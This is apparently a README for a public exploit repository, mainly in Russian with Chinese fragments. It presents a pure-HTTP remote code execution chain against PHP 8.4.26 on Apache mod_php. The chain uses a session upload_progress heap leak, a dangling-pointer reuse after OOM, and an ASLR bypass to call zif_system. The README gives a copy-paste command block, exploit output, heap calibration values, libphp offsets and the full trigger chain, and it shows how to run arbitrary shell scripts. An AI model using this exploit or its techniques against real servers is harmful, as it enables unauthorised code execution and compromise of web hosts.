
Чисто-HTTP эксплойт, достигающий RCE на PHP 8.4.26 + Apache mod_php через утечку кучи session upload_progress, повторное использование висячего указателя и обход ASLR для вызова zif_system.
中文 | English
В условиях ограничений «полностью удалённо, только по HTTP, на целевой странице нет session_start(), никакой PHP-код на стороне цели не записывается» с помощью одного exploit.py достигается RCE в PHP 8.4.26 + Apache prefork + mod_php. Официальный образ php:8.4.26-apache уже проверен на практике — 3/3 успешных запуска одной командой (PROOF: uid=33(www-data)...). Текущая версия требует display_errors=1; для display_errors=0 уже реализована утечка кучи через чистый HTTP, полный RCE будет представлен позже.
Ниже приведены полные команды от начала до RCE — достаточно скопировать весь блок и выполнить. Этот репозиторий не компилирует PHP/Apache, здесь нет docker build: окружение — это официальный образ php:8.4.26-apache плюс монтирование конфигурации из каталога docker/.
# 依赖:Docker Engine/Desktop + Docker Compose v2 + Python 3.9+
git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git
cd php2shell-bypass-aslr-exp
# 1) 拉官方镜像(PHP 8.4.26 / Debian 12 / Apache prefork)
docker compose -f docker/docker-compose.yml pull
# 2) 起目标:单 worker、display_errors=On、memory_limit=8M
docker compose -f docker/docker-compose.yml up -d
# 3) 等 Apache 就绪并确认普通页面
for i in $(seq 1 20); do
curl -fsS http://127.0.0.1:8088/index.php >/dev/null 2>&1 && break
sleep 0.5
done
curl -s http://127.0.0.1:8088/index.php # OK
# 4) 一条命令完成整个利用;首次运行会自动读取 libphp 偏移
python3 exploit.py -u http://127.0.0.1:8088/index.php
# PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Если вы уже находитесь в каталоге репозитория, пропустите
git clone/cd;pullтакже можно опустить,up -dавтоматически подтянет образ.
exploit.py автоматически выполняет ротацию worker, двухэтапную утечку, выполнение zif_system и чтение proof, с встроенными повторами на каждом этапе. Среда выполнения:
| Компонент | Версия | Источник |
|---|---|---|
| PHP | 8.4.26 (NTS, mod_php) | php:8.4.26-apache |
| Базовая система | Debian 12 (bookworm) | Там же |
| Apache | 2.4.69 (пакет Debian 12 в официальном образе, проверено на практике) | Там же |
| MPM | prefork, один worker | docker/apache.conf |
| Apache в отчёте lab | 2.4.68 (исходная самосборка lab, --profile lab) | Если требуется полное совпадение, используйте тег 2.4.68 из apache/httpd |
Официальный репозиторий образов: docker-library/php (Docker Hub: php:8.4.26-apache); исходный код PHP: php/php-src (тег php-8.4.26).
При первом запуске автоматически выполняется docker/offsets.py: из libphp.so внутри контейнера считываются реальные смещения zif_system / zval_ptr_dtor и записываются в out/offsets.env, exploit.py загружает их автоматически, поэтому при смене официального образа или обновлении не нужно вручную менять смещения. Команда по умолчанию — id>/out/p1 (10 байт), /out в контейнере монтируется в ./out репозитория, proof сразу оказывается на локальной машине:
[*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1')
[*] no offsets file; reading libphp symbols from container php2shell-target
zif_system 0x...
zval_ptr_dtor 0x...
[+] chunk base = 0x...
[+] libphp base = 0x...
[*] stage 3: HTDATA=0x... ZIF=0x...
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Лимит команды в payload — 14 байт. Чтобы выполнить произвольную команду, запишите скрипт в смонтированный каталог, а затем выполните его через sh</out/c (8 байт):
printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'sh</out/c'
常用参数:--profile、--cmd、--proof-file、--fetch、--zif-offset、--dtor-offset、--htdata-offset、--no-pre-rotate、--retries。默认 profile 是 bookworm(官方镜像);原 lab 构建用 --profile lab。--offsets-file '' 可关闭自动读取,容器名不是 php2shell-target 时用 --docker-container 指定。
bookworm 的堆标定已内置:stage1 filler 数 841;stage2 目标数组 406、元素值长度 16;stage3 HTDATA=chunk+0x690d8,A 的 pad 为 6×(31,31),并额外带 32 字符合法 Cookie: PHPSESSID,使 B 复用 stale id(send_cookie=0),避免 session 的 Set-Cookie 头在 R0+16 覆盖 val.type;B 用 15B carrier 覆盖 reference 的 val.value。官方镜像的 libphp 偏移自动读取为 zif_system=0x465370、zval_ptr_dtor=0x65eb60;原 lab 用 0x43a870 / 0x613c50。
Поверхность уязвимости — это инициализация сессии, запускаемая session.upload_progress до RINIT, а также висячий указатель, остающийся между запросами после OOM bailout. Ниже приведён пример сборки lab; эталонные значения для официального образа bookworm см. в конце exp.
整条链的攻击流量全部是普通 multipart HTTP,目标页面只有 <?php echo "OK\n"; ?>:
Ротация worker: после A_bigfields (3MB живого POST-поля + 12MB OOM) сразу идёт B, инициализирующий сессию, child завершается с SIGABRT; новый worker, созданный через fork в prefork, наследует те же отображения libphp/chunk.
Утечка кучи: A использует 1001 поле, чтобы вызвать предупреждение max_input_vars (display_errors=On → headers_sent=1), PHPSESSID=\x00 генерирует новый id и устанавливает send_cookie=1, последнее 12MB поле вызывает OOM внутри php_session_initialize(), PS(http_session_vars) становится висячим. B перезахватывает старую reference с помощью 56B буфера сырых значений multipart и использует живую 192B zend_string для размещения fake HashTable; выход за границы при чтении в php_url_encode() записывает указатель на Zend MM chunk в Set-Cookie (4096B, 98 указателей).
Утечка libphp: A размещает висячий PS(id) по адресу chunk+0xb7400; страница 56B HashTable в B заставляет ZSTR_LEN(PS(id)) прочитать nTableSize=16, а область данных оказывается ровно nNextFreeElement|pDestructor; pDestructor = ZVAL_PTR_DTOR = libphp+0x613c50, из Set-Cookie извлекается база libphp.
Выполнение команд: A с помощью 6 pad фиксирует висячую reference на R0=chunk+0x24e0; B с помощью 55B raw buffer перезаписывает R0-0x10, fake HashTable размещается в живой строке длиной 167B по адресу chunk+0x6e0d8, pDestructor = zif_system = libphp+0x43a870. Цепочка срабатывания:
php_session_track_init()
zval_ptr_dtor(PS(http_session_vars))
zend_reference_destroy(R0)
zval_ptr_dtor(&ref->val) # IS_ARRAY_EX
zend_array_destroy(fake HT)
zend_hash_destroy(fake HT)
pDestructor(&bucket->val) # zif_system
Терминал использует только zif_system внутри libphp, libc не требуется.